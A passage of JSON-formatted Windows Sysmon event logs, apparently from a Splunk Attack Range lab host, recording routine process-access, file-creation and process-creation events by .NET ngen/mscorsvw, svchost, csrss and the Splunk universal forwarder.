C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:37.150","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4265-5F2D-0000-00106E2C0A00}","TargetProcessId":"4460","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6577,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:37.197\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-425B-5F2D-0000-001062E90900}\r\nTargetProcessId: 4868\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:37.197","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-425B-5F2D-0000-001062E90900}","TargetProcessId":"4868","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6578,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:37.197\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-425B-5F2D-0000-001062E90900}\r\nTargetProcessId: 4868\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:37.197","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-425B-5F2D-0000-001062E90900}","TargetProcessId":"4868","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:00:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6579,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:37.213\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4265-5F2D-0000-0010A12F0A00}\r\nTargetProcessId: 4868\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:37.213","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4265-5F2D-0000-0010A12F0A00}","TargetProcessId":"4868","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":6580,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:00:37.291\r\nProcessGuid: {90617006-4265-5F2D-0000-0010A12F0A00}\r\nProcessId: 4868\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\1304-0\\System.Runtime.WindowsRuntime.UI.Xaml.dll\r\nCreationUtcTime: 2020-08-07 12:00:37.291","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:00:37.291","ProcessGuid":"{90617006-4265-5F2D-0000-0010A12F0A00}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\1304-0\\System.Runtime.WindowsRuntime.UI.Xaml.dll","CreationUtcTime":"2020-08-07 12:00:37.291","EventReceivedTime":"2020-08-07 12:00:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6581,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:37.322\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4265-5F2D-0000-001015330A00}\r\nTargetProcessId: 3148\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:37.322","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4265-5F2D-0000-001015330A00}","TargetProcessId":"3148","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6582,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:37.322\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4265-5F2D-0000-001015330A00}\r\nTargetProcessId: 3148\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:37.322","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4265-5F2D-0000-001015330A00}","TargetProcessId":"3148","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:00:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6583,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:37.322\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4265-5F2D-0000-001015330A00}\r\nTargetProcessId: 3148\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:37.322","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4265-5F2D-0000-001015330A00}","TargetProcessId":"3148","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":6584,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:37.386\r\nProcessGuid: {90617006-4265-5F2D-0000-0010F5350A00}\r\nProcessId: 4644\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe\r\nFileVersion: 8.0.2\r\nDescription: Active Directory monitor\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunk-admon.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=947139F3BB2AB70CAF692A60C7A3A735,SHA256=940554A0170A70F634689CC84B00C51AC0BCF773C9639E1305E3672441FC85C8,IMPHASH=357CEC18833E7FF2ABFB722902B13165\r\nParentProcessGuid: {90617006-407B-5F2D-0000-0010B4110500}\r\nParentProcessId: 5056\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 12:00:37.386","ProcessGuid":"{90617006-4265-5F2D-0000-0010F5350A00}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe","FileVersion":"8.0.2","Description":"Active Directory monitor","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunk-admon.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=947139F3BB2AB70CAF692A60C7A3A735,SHA256=940554A0170A70F634689CC84B00C51AC0BCF773C9639E1305E3672441FC85C8,IMPHASH=357CEC18833E7FF2ABFB722902B13165","ParentProcessGuid":"{90617006-407B-5F2D-0000-0010B4110500}","ParentProcessId":"5056","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 12:00:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6585,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:37.385\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nSourceProcessId: 5056\r\nSourceThreadId: 3932\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-4265-5F2D-0000-0010F5350A00}\r\nTargetProcessId: 4644\r\nTargetImage: C:\\Program 